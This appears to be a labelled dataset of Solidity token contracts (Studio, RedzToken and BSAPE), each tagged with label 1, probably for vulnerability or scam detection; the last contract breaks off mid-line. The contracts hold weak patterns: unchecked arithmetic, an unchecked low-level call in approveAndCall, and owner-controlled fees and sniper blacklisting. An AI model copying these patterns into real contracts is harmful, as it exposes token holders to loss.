source_codes
stringlengths
3
205k
labels
int64
0
1
pragma solidity ^0.4.4; contract Token { function totalSupply() constant returns (uint256 supply) {} function balanceOf(address _owner) constant returns (uint256 balance) {} function transfer(address _to, uint256 _value) returns (bool success) {} function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} function approve(address _spender, uint256 _value) returns (bool success) {} function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } contract Studio is StandardToken { string public name; uint8 public decimals; string public symbol; string public version = 'H1.0'; uint256 public unitsOneEthCanBuy; uint256 public totalEthInWei; address public fundsWallet; function Studio() { balances[msg.sender] = 75000000000000000000000000; totalSupply = 75000000000000000000000000; name = "Studio"; decimals = 18; symbol = "STUDIO"; unitsOneEthCanBuy = 5687; fundsWallet = msg.sender; } function() payable{ totalEthInWei = totalEthInWei + msg.value; uint256 amount = msg.value * unitsOneEthCanBuy; if (balances[fundsWallet] < amount) { return; } balances[fundsWallet] = balances[fundsWallet] - amount; balances[msg.sender] = balances[msg.sender] + amount; Transfer(fundsWallet, msg.sender, amount); fundsWallet.transfer(msg.value); } function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; } return true; } }
1
pragma solidity ^0.4.18; contract owned { address public owner; constructor() public{ owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnerShip(address newOwner) onlyOwner public { owner = newOwner; } } contract RedzToken is owned { string public name = "Personal value protocol"; string public symbol = "REDZ"; uint8 public decimals = 8; uint256 public totalSupply = 0; uint256 public constant initialSupply = 5000000000; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address _from, address _to, uint256 _value); event Approval(address _tokenOwner, address _spender, uint256 _value); constructor() public{ totalSupply = initialSupply * 10 ** uint256(decimals); balanceOf[msg.sender] = totalSupply; } function updateInfo(string _name, string _symbol) onlyOwner public{ name = _name; symbol = _symbol; } function _transfer(address _from, address _to, uint256 _value) internal { require(_to != 0x0); require(balanceOf[_from] >= _value); require(balanceOf[_to] + _value >= balanceOf[_to]); uint256 previousBalances = balanceOf[_from] + balanceOf[_to]; balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } function transfer(address _to, uint256 _value) public returns (bool success) { _transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } }
1
pragma solidity ^0.8.4; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _setOwner(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } library Address { function isContract(address account) internal view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } interface IConditional { function passesTest(address wallet) external view returns (bool); } contract BSAPE is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; address payable public treasuryWallet = payable(0xB6cE6712871B8FCcAF2a593C56680866442F29b3); address public constant deadAddress = 0x000000000000000000000000000000000000dEaD; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isSniper; address[] private _confirmedSnipers; uint256 public rewardsClaimTimeSeconds = 60 * 60 * 6; mapping(address => uint256) private _rewardsLastClaim; mapping(address => bool) private _isExcludedFee; mapping(address => bool) private _isExcludedReward; address[] private _excluded; string private constant _name = 'BABYSAFUAPE'; string private constant _symbol = 'BSAPE'; uint8 private constant _decimals = 9; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e12 * 10**_decimals; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 public reflectionFee = 0; uint256 private _previousReflectFee = reflectionFee; uint256 public treasuryFee = 6; uint256 private _previousTreasuryFee = treasuryFee; uint256 public ethRewardsFee = 1; uint256 private _previousETHRewardsFee = ethRewardsFee; uint256 public ethRewardsBalance; uint256 public buybackFee = 1; uint256 private _previousBuybackFee = buybackFee; address public buybackTokenAddress = 0x23464fb65ff1a8e7a9a1318Dfa56185a4950cF8B; address public buybackReceiver = address(this); uint256 public feeSellMultiplier = 2; uint256 public feeRate = 10; uint256 public launchTime; uint256 public boostRewardsPercent = 50; address public boostRewardsContract; address public feeExclusionContract; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; mapping(address => bool) private _isUniswapPair; address private constant _uniswapRouterAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; bool private _inSwapAndLiquify; bool private _isSelling; bool private _tradingOpen = false; bool private _isMaxBuyActivated = true; uint256 public _maxTxAmount = _tTotal.mul(5).div(1000); uint256 public _maxWalletSize = _tTotal.mul(2).div(100); uint256 public _maximumBuyAmount = _tTotal.mul(3).div(1000); event MaxTxAmountUpdated(uint256 _maxTxAmount); event MaxWalletSizeUpdated(uint256 _maxWalletSize); event SendETHRewards(address to, uint256 amountETH); event SendTokenRewards(address to, address token, uint256 amount); event SwapETHForTokens(address whereTo, uint256 amountIn, address[] path); event SwapTokensForETH(uint256 amountIn, address[] path); event SwapAndLiquify( uint256 tokensSwappedForEth, uint256 ethAddedForLp, uint256 tokensAddedForLp ); modifier lockTheSwap() { _inSwapAndLiquify = true; _; _inSwapAndLiquify = false; } constructor() { _rOwned[_msgSender()] = _rTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function initContract() external onlyOwner { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02( _uniswapRouterAddress ); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair( address(this), _uniswapV2Router.WETH() ); uniswapV2Router = _uniswapV2Router; _isExcludedFee[owner()] = true; _isExcludedFee[address(this)] = true; _isExcludedFee[treasuryWallet] = true; } function openTrading() external onlyOwner { treasuryFee = _previousTreasuryFee; ethRewardsFee = _previousETHRewardsFee; reflectionFee = _previousReflectFee; buybackFee = _previousBuybackFee; _tradingOpen = true; launchTime = block.timestamp; } function name() external pure returns (string memory) { return _name; } function symbol() external pure returns (string memory) { return _symbol; } function decimals() external pure returns (uint8) { return _decimals; } function totalSupply() external pure override returns (uint256) { return _tTotal; } function MaxTXAmount() external view returns (uint256) { return _maxTxAmount; } function MaxWalletSize() external view returns (uint256) { return _maxWalletSize; } function balanceOf(address account) public view override returns (uint256) { if (_isExcludedReward[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) external override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) external view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) external override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) external override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, 'ERC20: transfer amount exceeds allowance' ) ); return true; } function increaseAllowance(address spender, uint256 addedValue) external virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue) ); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) external virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].sub( subtractedValue, 'ERC20: decreased allowance below zero' ) ); return true; } function setMaxTxnAmount(uint256 maxTxAmountPercetange) external onlyOwner{ require(maxTxAmountPercetange < 1000, "Maximum amount per transaction must be lower than 100%"); require(maxTxAmountPercetange > 1, "Maximum amount per transaction must be higher than 0.1%"); _maxTxAmount = _tTotal.mul(maxTxAmountPercetange).div(1000); emit MaxTxAmountUpdated(_maxTxAmount); } function setMaxWalletSize(uint256 maxWalletSizePercentage) external onlyOwner{ require(maxWalletSizePercentage < 1000, "Maximum wallet size must be lower than 100%"); require(maxWalletSizePercentage > 20, "Maximum wallet size must be higher than 2%"); _maxWalletSize = _tTotal.mul(maxWalletSizePercentage).div(1000); emit MaxWalletSizeUpdated(_maxWalletSize); } function getLastETHRewardsClaim(address wallet) external view returns (uint256) { return _rewardsLastClaim[wallet]; } function totalFees() external view returns (uint256) { return _tFeeTotal; } function deliver(uint256 tAmount) external { address sender = _msgSender(); require( !_isExcludedReward[sender], 'Excluded addresses cannot call this function' ); (uint256 rAmount, , , , , ) = _getValues(sender, tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) external view returns (uint256) { require(tAmount <= _tTotal, 'Amount must be less than supply'); if (!deductTransferFee) { (uint256 rAmount, , , , , ) = _getValues(address(0), tAmount); return rAmount; } else { (, uint256 rTransferAmount, , , , ) = _getValues(address(0), tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns (uint256) { require(rAmount <= _rTotal, 'Amount must be less than total reflections'); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeFromReward(address account) external onlyOwner { require(!_isExcludedReward[account], 'Account is already excluded'); if (_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcludedReward[account] = true; _excluded.push(account); } function includeInReward(address account) external onlyOwner { require(_isExcludedReward[account], 'Account is already included'); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcludedReward[account] = false; _excluded.pop(); break; } } } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), 'ERC20: approve from the zero address'); require(spender != address(0), 'ERC20: approve to the zero address'); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), 'ERC20: transfer from the zero address'); require(to != address(0), 'ERC20: transfer to the zero address'); require(amount > 0, 'Transfer amount must be greater than zero'); require(!_isSniper[to], 'Stop sniping!'); require(!_isSniper[from], 'Stop sniping!'); require(!_isSniper[_msgSender()], 'Stop sniping!'); if ( (to == uniswapV2Pair || _isUniswapPair[to]) && from != address(uniswapV2Router) && !isExcludedFromFee(to) && !isExcludedFromFee(from) ) { require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); } if ( to != uniswapV2Pair && !_isUniswapPair[to] && !isExcludedFromFee(to) && !isExcludedFromFee(from) ) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); if (_isMaxBuyActivated) { if (block.timestamp <= launchTime + 30 minutes) { require(amount <= _maximumBuyAmount, "Amount too much"); } } } _rewardsLastClaim[to] = block.timestamp; bool excludedFromFee = false; if ( (from == uniswapV2Pair || _isUniswapPair[from]) && to != address(uniswapV2Router) ) { if (!isExcludedFromFee(to)) { require(_tradingOpen, 'Trading not yet enabled.'); if (block.timestamp == launchTime) { _isSniper[to] = true; _confirmedSnipers.push(to); } _rewardsLastClaim[from] = block.timestamp; } else { excludedFromFee = true; } } if ( !_inSwapAndLiquify && _tradingOpen && (to == uniswapV2Pair || _isUniswapPair[to]) ) { uint256 _contractTokenBalance = balanceOf(address(this)); if (_contractTokenBalance > 0) { if ( _contractTokenBalance > balanceOf(uniswapV2Pair).mul(feeRate).div(100) ) { _contractTokenBalance = balanceOf(uniswapV2Pair).mul(feeRate).div( 100 ); } _swapTokens(_contractTokenBalance); } _rewardsLastClaim[from] = block.timestamp; _isSelling = true; excludedFromFee = isExcludedFromFee(from); } bool takeFee = false; if ( (from == uniswapV2Pair || to == uniswapV2Pair || _isUniswapPair[to] || _isUniswapPair[from]) && !excludedFromFee ) { takeFee = true; } _tokenTransfer(from, to, amount, takeFee); _isSelling = false; } function _swapTokens(uint256 _contractTokenBalance) private lockTheSwap { uint256 ethBalanceBefore = address(this).balance; _swapTokensForEth(_contractTokenBalance); uint256 ethBalanceAfter = address(this).balance; uint256 ethBalanceUpdate = ethBalanceAfter.sub(ethBalanceBefore); uint256 _liquidityFeeTotal = _liquidityFeeAggregate(address(0)); ethRewardsBalance += ethBalanceUpdate.mul(ethRewardsFee).div( _liquidityFeeTotal ); uint256 treasuryETHBalance = ethBalanceUpdate.mul(treasuryFee).div( _liquidityFeeTotal ); if (treasuryETHBalance > 0) { _sendETHToTreasury(treasuryETHBalance); } uint256 buybackETHBalance = ethBalanceUpdate.mul(buybackFee).div( _liquidityFeeTotal ); if (buybackETHBalance > 0) { _buyBackTokens(buybackETHBalance); } } function _sendETHToTreasury(uint256 amount) private { treasuryWallet.call{ value: amount }(''); } function _buyBackTokens(uint256 amount) private { address[] memory path = new address[](2); path[0] = uniswapV2Router.WETH(); path[1] = buybackTokenAddress; uniswapV2Router.swapExactETHForTokensSupportingFeeOnTransferTokens{ value: amount }( 0, path, buybackReceiver, block.timestamp ); emit SwapETHForTokens(buybackReceiver, amount, path); } function _swapTokensForEth(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); emit SwapTokensForETH(tokenAmount, path); } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) _removeAllFee(); if (_isExcludedReward[sender] && !_isExcludedReward[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcludedReward[sender] && _isExcludedReward[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (_isExcludedReward[sender] && _isExcludedReward[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if (!takeFee) _restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity ) = _getValues(sender, tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity ) = _getValues(sender, tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity ) = _getValues(sender, tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity ) = _getValues(sender, tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(address seller, uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues( seller, tAmount ); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues( tAmount, tFee, tLiquidity, _getRate() ); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity); } function _getTValues(address seller, uint256 tAmount) private view returns ( uint256, uint256, uint256 ) { uint256 tFee = _calculateReflectFee(tAmount); uint256 tLiquidity = _calculateLiquidityFee(seller, tAmount); uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity); return (tTransferAmount, tFee, tLiquidity); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rLiquidity = tLiquidity.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _takeLiquidity(uint256 tLiquidity) private { uint256 currentRate = _getRate(); uint256 rLiquidity = tLiquidity.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity); if (_isExcludedReward[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity); } function _calculateReflectFee(uint256 _amount) private view returns (uint256) { return _amount.mul(reflectionFee).div(10**2); } function _liquidityFeeAggregate(address seller) private view returns (uint256) { uint256 feeMultiplier = _isSelling && !canClaimRewards(seller) ? feeSellMultiplier : 1; return (treasuryFee.add(ethRewardsFee).add(buybackFee)).mul(feeMultiplier); } function _calculateLiquidityFee(address seller, uint256 _amount) private view returns (uint256) { return _amount.mul(_liquidityFeeAggregate(seller)).div(10**2); } function _removeAllFee() private { if ( reflectionFee == 0 && treasuryFee == 0 && ethRewardsFee == 0 && buybackFee == 0 ) return; _previousReflectFee = reflectionFee; _previousTreasuryFee = treasuryFee; _previousETHRewardsFee = ethRewardsFee; _previousBuybackFee = buybackFee; reflectionFee = 0; treasuryFee = 0; ethRewardsFee = 0; buybackFee = 0; } function _restoreAllFee() private { reflectionFee = _previousReflectFee; treasuryFee = _previousTreasuryFee; ethRewardsFee = _previousETHRewardsFee; buybackFee = _previousBuybackFee; } function getSellSlippage(address seller) external view returns (uint256) { uint256 feeAgg = treasuryFee.add(ethRewardsFee).add(buybackFee); return isExcludedFromFee(seller) ? 0 : !canClaimRewards(seller) ? feeAgg.mul(feeSellMultiplier) : feeAgg; } function isUniswapPair(address _pair) external view returns (bool) { if (_pair == uniswapV2Pair) return true; return _isUniswapPair[_pair]; } function eligibleForRewardBooster(address wallet) public view returns (bool) { return boostRewardsContract != address(0) && IConditional(boostRewardsContract).passesTest(wallet); } function isExcludedFromFee(address account) public view returns (bool) { return _isExcludedFee[account] || (feeExclusionContract != address(0) && IConditional(feeExclusionContract).passesTest(account)); } function isExcludedFromReward(address account) external view returns (bool) { return _isExcludedReward[account]; } function excludeFromFee(address account) external onlyOwner { _isExcludedFee[account] = true; } function includeInFee(address account) external onlyOwner { _isExcludedFee[account] = false; } function setRewardsClaimTimeSeconds(uint256 _seconds) external onlyOwner { require(_seconds >= 0 &&_seconds <= 60 * 60 * 24 * 7, 'claim time delay must be greater or equal to 0 seconds 